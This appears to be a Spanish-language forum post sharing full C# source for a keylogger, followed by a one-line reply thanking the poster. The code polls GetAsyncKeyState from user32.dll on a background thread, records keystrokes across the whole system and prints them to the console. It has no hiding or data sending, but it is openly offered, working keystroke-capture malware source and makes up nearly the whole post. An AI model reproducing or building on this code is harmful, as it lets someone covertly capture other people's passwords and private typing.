Keylogger en C#
using System;
//Uso de Threads
using System.Threading;
//Uso de la libreria para importacion de DLL
using System.Runtime.InteropServices;
namespace Keylogger
{
class Program
{
//Se importa user32.dll para poder usar el metodo externo GetAsyncKeyState
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int key);
//Contador de espacios para dar un salto de línea despues de "n" caracteres tecleados
int contadorEspacio = 0;
//String de almacenaje
public string caracteresTecleados = "";
//Este metodo detecta si una tecla dentro del rango [8,128] del codigo ASCII ha sido presionada
public void esperarTecla()
{
int tecla=0;
while(true)
{
for(tecla=8;tecla<128;tecla++)
{
if (GetAsyncKeyState(tecla)==-32767)
{
this.mostrarTecla(tecla);
}
}
}
}
//Recupera la tecla virual presionada y la muestra en consola
public void mostrarTecla(int keyCode)
{
switch(keyCode)
{
case 8:
if(!string.IsNullOrEmpty(this.caracteresTecleados))
{
this.caracteresTecleados = this.caracteresTecleados.Substring(0, this.caracteresTecleados.Length - 1);
}
break;
case 9:
this.caracteresTecleados = " ";
break;
case 13:
this.caracteresTecleados += " [ENTER] ";
break;
case 16:
this.caracteresTecleados += " [SHIFT] ";
break;
case 20:
this.caracteresTecleados += " [B_MAYUS] ";
break;
case 37:
this.caracteresTecleados += " [<] ";
break;
case 38:
this.caracteresTecleados += " [^] ";
break;
case 39:
this.caracteresTecleados += " [>] ";
break;
case 40:
this.caracteresTecleados += " [v] ";
break;
default:
this.caracteresTecleados += (char)keyCode;
break;
}
contadorEspacio++;
if(this.caracteresTecleados.Length >=1)
{
if (contadorEspacio== 120)
{
Console.WriteLine();
contadorEspacio = 0;
}
Console.Write(this.caracteresTecleados);
this.caracteresTecleados = "";
}
}
//Uso de threads para la ejecución del método "esperarTecla"
public void threadEjecucion()
{
new Thread(new ThreadStart(esperarTecla)).Start();
}
public static void Main()
{
Program logging = new Program();
logging.threadEjecucion();
}
}
}
Gracias amigo despues le hechare un ojo al codigo :o